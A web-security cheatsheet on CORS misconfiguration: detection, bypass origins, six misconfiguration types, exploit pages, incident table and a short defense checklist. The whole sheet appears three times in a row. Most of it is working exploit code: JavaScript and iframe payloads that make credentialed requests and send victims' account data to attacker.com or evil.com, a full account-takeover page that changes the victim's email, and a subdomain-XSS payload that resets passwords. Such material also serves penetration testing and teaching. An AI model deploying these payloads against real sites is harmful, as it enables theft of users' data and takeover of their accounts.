CORS Misconfiguration Cheatsheet: Detection, Exploitation & Bypass
Thu May 28 2026
Category: Cheatsheet
Understanding CORS
# Browser sends preflight:
OPTIONS /api/sensitive HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: GET
# Vulnerable server reflects any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com ← reflected!
Access-Control-Allow-Credentials: true ← + credentials = critical
For CORS to be exploitable:
Access-Control-Allow-Originreflects attacker's origin OR is*Access-Control-Allow-Credentials: true(required for cookies/auth)
Detection
# Test if origin is reflected
curl -s -I https://target.com/api/user \
-H "Origin: https://attacker.com" \
-H "Cookie: session=victim_token" \
| grep -i "access-control"
# Variations to test:
Origin: https://attacker.com
Origin: https://attacker.com.target.com (suffix match bypass)
Origin: https://targetattacker.com (prefix match bypass)
Origin: null
Origin: https://target.com.evil.com
Origin: http://target.com (http→https confusion)
Origin: https://sub.attacker.com (if sub.target.com trusted)
Misconfiguration Types
Type 1: Origin Reflection
Server reflects any Origin back:
Request: Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Exploit:
// Host on evil.com
fetch('https://target.com/api/account', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/log?d=' + JSON.stringify(data))
})
Type 2: Null Origin Trust
Server trusts Origin: null:
Request: Origin: null
Response: Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
null origin comes from sandboxed iframes:
<!-- Host on attacker.com — null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://target.com/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?d=' + encodeURIComponent(d)))
</script>">
</iframe>
Type 3: Subdomain Trust
Server trusts *.target.com:
# If target.com trusts any subdomain:
Origin: https://xss.target.com
Origin: https://attacker.target.com
Exploit chain: Find XSS on any subdomain → use it to make credentialed CORS request to main app.
// On xss.target.com (via stored XSS):
fetch('https://api.target.com/account/settings', {credentials: 'include'})
.then(r => r.json())
.then(data => new Image().src = 'https://attacker.com/?d=' + btoa(JSON.stringify(data)))
Type 4: Weak Regex Bypass
# Server regex: ^https?://target\.com
Origin: https://target.com.attacker.com ← passes regex! (appended after)
Origin: https://evil-target.com ← fails
Origin: https://attackertarget.com ← may pass if regex: target\.com$
# Common regex mistakes
/^https:\/\/.*target\.com$/ ← attacker-target.com PASSES
/https:\/\/target\.com/ ← https://target.com.evil.com PASSES (no anchor)
Type 5: HTTP Protocol Confusion
# HTTPS app trusts HTTP origin:
Origin: http://target.com (not https)
→ Access-Control-Allow-Origin: http://target.com ← if app reflects it
Attacker on the same network can MitM HTTP origin.
Type 6: Wildcard + Credentials Conflict
# This combination is INVALID (browsers reject it):
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# But if server sends this, some older non-browser clients accept it
# Some SSRF chains can abuse this
Full Exploit: CORS to Account Takeover
<!-- exploit.html hosted on attacker.com -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: Fetch victim's account data
fetch('https://target.com/api/v1/account', {
method: 'GET',
credentials: 'include' // sends victim's cookies
})
.then(response => response.json())
.then(data => {
// Step 2: Log stolen data
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
// Step 3: If CSRF token returned, perform account takeover
if (data.csrf_token) {
fetch('https://target.com/api/v1/account/change-email', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': data.csrf_token
},
body: JSON.stringify({email: '[email protected]'})
})
}
})
.catch(e => {
// Log error for debugging
new Image().src = 'https://attacker.com/err?e=' + encodeURIComponent(e.toString());
});
</script>
</body>
</html>
CORS Headers Reference
# Server response headers
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Origin: * (no credentials allowed)
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Expose-Headers: X-Custom-Header
Access-Control-Max-Age: 86400 (preflight cache seconds)
# Request headers sent by browser
Origin: https://requester.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
CORS vs SameSite
Even with CORS fixed, SameSite=None; Secure cookies can be sent cross-origin if CORS allows it. Combine CORS testing with SameSite analysis:
SameSite=Strict → cookie NOT sent cross-site (CORS rarely exploitable even if misconfigured)
SameSite=Lax → cookie sent only on top-level navigation GETs
SameSite=None → cookie sent on ALL cross-origin requests (CORS misconfig = critical)
No SameSite → browser default (Lax in modern browsers, None in old)
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Shopify CORS | 2017 | Shopify Partner API | Origin reflection → merchant data theft → $15,000 |
| Coinbase CORS | 2018 | Coinbase API | Trusted subdomain + XSS → account takeover |
| LastPass CORS | 2019 | LastPass extension | CORS + message passing → password vault read |
| HackerOne CORS | 2018 | HackerOne API | Origin reflection in /users/ API → sensitive data |
| Robinhood CORS | 2021 | Robinhood trading API | Null origin → portfolio data exposure |
Example: Origin Reflection — Full Attack Chain
# Step 1: Find reflected origin
curl -s -I https://api.target.com/v1/user/profile \
-H "Origin: https://evil.com" \
-b "session=victim_cookie" | grep -i access-control
# Output:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# Step 2: Confirm credentials are sent
curl -s https://api.target.com/v1/user/profile \
-H "Origin: https://evil.com" \
-b "session=victim_cookie" | jq
# Returns victim's profile data
# Step 3: Craft exploit page (host on evil.com)
cat > index.html << 'EOF'
<script>
fetch('https://api.target.com/v1/user/profile', {credentials:'include'})
.then(r=>r.json())
.then(d=>fetch('https://evil.com/steal?d='+btoa(JSON.stringify(d))))
</script>
EOF
# Step 4: Send phishing link to victim
# Victim opens evil.com → their cookies sent to api.target.com → data leaked
Example: Null Origin via Sandboxed iframe
<!-- Submit as XSS payload or host on attacker site -->
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://target.com/api/user", {credentials:"include"})
.then(r=>r.text())
.then(d=>fetch("https://attacker.com/?d="+encodeURIComponent(d)))
</script>'>
</iframe>
Example: Subdomain XSS → CORS Escalation
// XSS payload on docs.target.com (subdomain)
// api.target.com trusts *.target.com
fetch('https://api.target.com/v1/auth/token', {
credentials: 'include'
})
.then(r => r.json())
.then(token => {
// Use the API token to take over account
fetch('https://api.target.com/v1/account/change-password', {
method: 'POST',
credentials: 'include',
headers: {'Authorization': 'Bearer ' + token.access_token},
body: JSON.stringify({new_password: 'Hacked123!'})
})
})
Testing Tools
# CORScan
python3 corscanner.py -u https://target.com
# CORS-Scanner Burp Extension
# Burp Suite → Active Scan → CORS issues flagged
# Manual curl tests
for origin in https://attacker.com null http://target.com https://target.com.evil.com; do
echo -n "$origin → "
curl -s -I https://target.com/api/user \
-H "Origin: $origin" -b "session=TOKEN" \
| grep -i "access-control-allow-origin"
done
Defense Checklist
- Whitelist specific allowed origins — never reflect arbitrary origins
- Never combine
Access-Control-Allow-Origin: *with credentials - Do not trust
nullorigin unless specifically required - Validate the full origin including subdomain and scheme
- Avoid trusting all subdomains unless you fully control all subdomains
- Apply SameSite=Lax or Strict on session cookies as additional defense
References
Understanding CORS
# Browser sends preflight:
OPTIONS /api/sensitive HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: GET
# Vulnerable server reflects any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com ← reflected!
Access-Control-Allow-Credentials: true ← + credentials = critical
For CORS to be exploitable:
Access-Control-Allow-Originreflects attacker's origin OR is*Access-Control-Allow-Credentials: true(required for cookies/auth)
Detection
# Test if origin is reflected
curl -s -I https://target.com/api/user \
-H "Origin: https://attacker.com" \
-H "Cookie: session=victim_token" \
| grep -i "access-control"
# Variations to test:
Origin: https://attacker.com
Origin: https://attacker.com.target.com (suffix match bypass)
Origin: https://targetattacker.com (prefix match bypass)
Origin: null
Origin: https://target.com.evil.com
Origin: http://target.com (http→https confusion)
Origin: https://sub.attacker.com (if sub.target.com trusted)
Misconfiguration Types
Type 1: Origin Reflection
Server reflects any Origin back:
Request: Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Exploit:
// Host on evil.com
fetch('https://target.com/api/account', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/log?d=' + JSON.stringify(data))
})
Type 2: Null Origin Trust
Server trusts Origin: null:
Request: Origin: null
Response: Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
null origin comes from sandboxed iframes:
<!-- Host on attacker.com — null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://target.com/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?d=' + encodeURIComponent(d)))
</script>">
</iframe>
Type 3: Subdomain Trust
Server trusts *.target.com:
# If target.com trusts any subdomain:
Origin: https://xss.target.com
Origin: https://attacker.target.com
Exploit chain: Find XSS on any subdomain → use it to make credentialed CORS request to main app.
// On xss.target.com (via stored XSS):
fetch('https://api.target.com/account/settings', {credentials: 'include'})
.then(r => r.json())
.then(data => new Image().src = 'https://attacker.com/?d=' + btoa(JSON.stringify(data)))
Type 4: Weak Regex Bypass
# Server regex: ^https?://target\.com
Origin: https://target.com.attacker.com ← passes regex! (appended after)
Origin: https://evil-target.com ← fails
Origin: https://attackertarget.com ← may pass if regex: target\.com$
# Common regex mistakes
/^https:\/\/.*target\.com$/ ← attacker-target.com PASSES
/https:\/\/target\.com/ ← https://target.com.evil.com PASSES (no anchor)
Type 5: HTTP Protocol Confusion
# HTTPS app trusts HTTP origin:
Origin: http://target.com (not https)
→ Access-Control-Allow-Origin: http://target.com ← if app reflects it
Attacker on the same network can MitM HTTP origin.
Type 6: Wildcard + Credentials Conflict
# This combination is INVALID (browsers reject it):
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# But if server sends this, some older non-browser clients accept it
# Some SSRF chains can abuse this
Full Exploit: CORS to Account Takeover
<!-- exploit.html hosted on attacker.com -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: Fetch victim's account data
fetch('https://target.com/api/v1/account', {
method: 'GET',
credentials: 'include' // sends victim's cookies
})
.then(response => response.json())
.then(data => {
// Step 2: Log stolen data
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
// Step 3: If CSRF token returned, perform account takeover
if (data.csrf_token) {
fetch('https://target.com/api/v1/account/change-email', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': data.csrf_token
},
body: JSON.stringify({email: '[email protected]'})
})
}
})
.catch(e => {
// Log error for debugging
new Image().src = 'https://attacker.com/err?e=' + encodeURIComponent(e.toString());
});
</script>
</body>
</html>
CORS Headers Reference
# Server response headers
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Origin: * (no credentials allowed)
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Expose-Headers: X-Custom-Header
Access-Control-Max-Age: 86400 (preflight cache seconds)
# Request headers sent by browser
Origin: https://requester.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
CORS vs SameSite
Even with CORS fixed, SameSite=None; Secure cookies can be sent cross-origin if CORS allows it. Combine CORS testing with SameSite analysis:
SameSite=Strict → cookie NOT sent cross-site (CORS rarely exploitable even if misconfigured)
SameSite=Lax → cookie sent only on top-level navigation GETs
SameSite=None → cookie sent on ALL cross-origin requests (CORS misconfig = critical)
No SameSite → browser default (Lax in modern browsers, None in old)
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Shopify CORS | 2017 | Shopify Partner API | Origin reflection → merchant data theft → $15,000 |
| Coinbase CORS | 2018 | Coinbase API | Trusted subdomain + XSS → account takeover |
| LastPass CORS | 2019 | LastPass extension | CORS + message passing → password vault read |
| HackerOne CORS | 2018 | HackerOne API | Origin reflection in /users/ API → sensitive data |
| Robinhood CORS | 2021 | Robinhood trading API | Null origin → portfolio data exposure |
Example: Origin Reflection — Full Attack Chain
# Step 1: Find reflected origin
curl -s -I https://api.target.com/v1/user/profile \
-H "Origin: https://evil.com" \
-b "session=victim_cookie" | grep -i access-control
# Output:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# Step 2: Confirm credentials are sent
curl -s https://api.target.com/v1/user/profile \
-H "Origin: https://evil.com" \
-b "session=victim_cookie" | jq
# Returns victim's profile data
# Step 3: Craft exploit page (host on evil.com)
cat > index.html << 'EOF'
<script>
fetch('https://api.target.com/v1/user/profile', {credentials:'include'})
.then(r=>r.json())
.then(d=>fetch('https://evil.com/steal?d='+btoa(JSON.stringify(d))))
</script>
EOF
# Step 4: Send phishing link to victim
# Victim opens evil.com → their cookies sent to api.target.com → data leaked
Example: Null Origin via Sandboxed iframe
<!-- Submit as XSS payload or host on attacker site -->
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://target.com/api/user", {credentials:"include"})
.then(r=>r.text())
.then(d=>fetch("https://attacker.com/?d="+encodeURIComponent(d)))
</script>'>
</iframe>
Example: Subdomain XSS → CORS Escalation
// XSS payload on docs.target.com (subdomain)
// api.target.com trusts *.target.com
fetch('https://api.target.com/v1/auth/token', {
credentials: 'include'
})
.then(r => r.json())
.then(token => {
// Use the API token to take over account
fetch('https://api.target.com/v1/account/change-password', {
method: 'POST',
credentials: 'include',
headers: {'Authorization': 'Bearer ' + token.access_token},
body: JSON.stringify({new_password: 'Hacked123!'})
})
})
Testing Tools
# CORScan
python3 corscanner.py -u https://target.com
# CORS-Scanner Burp Extension
# Burp Suite → Active Scan → CORS issues flagged
# Manual curl tests
for origin in https://attacker.com null http://target.com https://target.com.evil.com; do
echo -n "$origin → "
curl -s -I https://target.com/api/user \
-H "Origin: $origin" -b "session=TOKEN" \
| grep -i "access-control-allow-origin"
done
Defense Checklist
- Whitelist specific allowed origins — never reflect arbitrary origins
- Never combine
Access-Control-Allow-Origin: *with credentials - Do not trust
nullorigin unless specifically required - Validate the full origin including subdomain and scheme
- Avoid trusting all subdomains unless you fully control all subdomains
- Apply SameSite=Lax or Strict on session cookies as additional defense
References
Understanding CORS
# Browser sends preflight:
OPTIONS /api/sensitive HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: GET
# Vulnerable server reflects any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com ← reflected!
Access-Control-Allow-Credentials: true ← + credentials = critical
For CORS to be exploitable:
Access-Control-Allow-Originreflects attacker's origin OR is*Access-Control-Allow-Credentials: true(required for cookies/auth)
Detection
# Test if origin is reflected
curl -s -I https://target.com/api/user \
-H "Origin: https://attacker.com" \
-H "Cookie: session=victim_token" \
| grep -i "access-control"
# Variations to test:
Origin: https://attacker.com
Origin: https://attacker.com.target.com (suffix match bypass)
Origin: https://targetattacker.com (prefix match bypass)
Origin: null
Origin: https://target.com.evil.com
Origin: http://target.com (http→https confusion)
Origin: https://sub.attacker.com (if sub.target.com trusted)
Misconfiguration Types
Type 1: Origin Reflection
Server reflects any Origin back:
Request: Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Exploit:
// Host on evil.com
fetch('https://target.com/api/account', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/log?d=' + JSON.stringify(data))
})
Type 2: Null Origin Trust
Server trusts Origin: null:
Request: Origin: null
Response: Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
null origin comes from sandboxed iframes:
<!-- Host on attacker.com — null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://target.com/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?d=' + encodeURIComponent(d)))
</script>">
</iframe>
Type 3: Subdomain Trust
Server trusts *.target.com:
# If target.com trusts any subdomain:
Origin: https://xss.target.com
Origin: https://attacker.target.com
Exploit chain: Find XSS on any subdomain → use it to make credentialed CORS request to main app.
// On xss.target.com (via stored XSS):
fetch('https://api.target.com/account/settings', {credentials: 'include'})
.then(r => r.json())
.then(data => new Image().src = 'https://attacker.com/?d=' + btoa(JSON.stringify(data)))
Type 4: Weak Regex Bypass
# Server regex: ^https?://target\.com
Origin: https://target.com.attacker.com ← passes regex! (appended after)
Origin: https://evil-target.com ← fails
Origin: https://attackertarget.com ← may pass if regex: target\.com$
# Common regex mistakes
/^https:\/\/.*target\.com$/ ← attacker-target.com PASSES
/https:\/\/target\.com/ ← https://target.com.evil.com PASSES (no anchor)
Type 5: HTTP Protocol Confusion
# HTTPS app trusts HTTP origin:
Origin: http://target.com (not https)
→ Access-Control-Allow-Origin: http://target.com ← if app reflects it
Attacker on the same network can MitM HTTP origin.
Type 6: Wildcard + Credentials Conflict
# This combination is INVALID (browsers reject it):
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# But if server sends this, some older non-browser clients accept it
# Some SSRF chains can abuse this
Full Exploit: CORS to Account Takeover
<!-- exploit.html hosted on attacker.com -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: Fetch victim's account data
fetch('https://target.com/api/v1/account', {
method: 'GET',
credentials: 'include' // sends victim's cookies
})
.then(response => response.json())
.then(data => {
// Step 2: Log stolen data
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
// Step 3: If CSRF token returned, perform account takeover
if (data.csrf_token) {
fetch('https://target.com/api/v1/account/change-email', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': data.csrf_token
},
body: JSON.stringify({email: '[email protected]'})
})
}
})
.catch(e => {
// Log error for debugging
new Image().src = 'https://attacker.com/err?e=' + encodeURIComponent(e.toString());
});
</script>
</body>
</html>
CORS Headers Reference
# Server response headers
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Origin: * (no credentials allowed)
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Expose-Headers: X-Custom-Header
Access-Control-Max-Age: 86400 (preflight cache seconds)
# Request headers sent by browser
Origin: https://requester.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
CORS vs SameSite
Even with CORS fixed, SameSite=None; Secure cookies can be sent cross-origin if CORS allows it. Combine CORS testing with SameSite analysis:
SameSite=Strict → cookie NOT sent cross-site (CORS rarely exploitable even if misconfigured)
SameSite=Lax → cookie sent only on top-level navigation GETs
SameSite=None → cookie sent on ALL cross-origin requests (CORS misconfig = critical)
No SameSite → browser default (Lax in modern browsers, None in old)
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Shopify CORS | 2017 | Shopify Partner API | Origin reflection → merchant data theft → $15,000 |
| Coinbase CORS | 2018 | Coinbase API | Trusted subdomain + XSS → account takeover |
| LastPass CORS | 2019 | LastPass extension | CORS + message passing → password vault read |
| HackerOne CORS | 2018 | HackerOne API | Origin reflection in /users/ API → sensitive data |
| Robinhood CORS | 2021 | Robinhood trading API | Null origin → portfolio data exposure |
Example: Origin Reflection — Full Attack Chain
# Step 1: Find reflected origin
curl -s -I https://api.target.com/v1/user/profile \
-H "Origin: https://evil.com" \
-b "session=victim_cookie" | grep -i access-control
# Output:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# Step 2: Confirm credentials are sent
curl -s https://api.target.com/v1/user/profile \
-H "Origin: https://evil.com" \
-b "session=victim_cookie" | jq
# Returns victim's profile data
# Step 3: Craft exploit page (host on evil.com)
cat > index.html << 'EOF'
<script>
fetch('https://api.target.com/v1/user/profile', {credentials:'include'})
.then(r=>r.json())
.then(d=>fetch('https://evil.com/steal?d='+btoa(JSON.stringify(d))))
</script>
EOF
# Step 4: Send phishing link to victim
# Victim opens evil.com → their cookies sent to api.target.com → data leaked
Example: Null Origin via Sandboxed iframe
<!-- Submit as XSS payload or host on attacker site -->
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://target.com/api/user", {credentials:"include"})
.then(r=>r.text())
.then(d=>fetch("https://attacker.com/?d="+encodeURIComponent(d)))
</script>'>
</iframe>
Example: Subdomain XSS → CORS Escalation
// XSS payload on docs.target.com (subdomain)
// api.target.com trusts *.target.com
fetch('https://api.target.com/v1/auth/token', {
credentials: 'include'
})
.then(r => r.json())
.then(token => {
// Use the API token to take over account
fetch('https://api.target.com/v1/account/change-password', {
method: 'POST',
credentials: 'include',
headers: {'Authorization': 'Bearer ' + token.access_token},
body: JSON.stringify({new_password: 'Hacked123!'})
})
})
Testing Tools
# CORScan
python3 corscanner.py -u https://target.com
# CORS-Scanner Burp Extension
# Burp Suite → Active Scan → CORS issues flagged
# Manual curl tests
for origin in https://attacker.com null http://target.com https://target.com.evil.com; do
echo -n "$origin → "
curl -s -I https://target.com/api/user \
-H "Origin: $origin" -b "session=TOKEN" \
| grep -i "access-control-allow-origin"
done
Defense Checklist
- Whitelist specific allowed origins — never reflect arbitrary origins
- Never combine
Access-Control-Allow-Origin: *with credentials - Do not trust
nullorigin unless specifically required - Validate the full origin including subdomain and scheme
- Avoid trusting all subdomains unless you fully control all subdomains
- Apply SameSite=Lax or Strict on session cookies as additional defense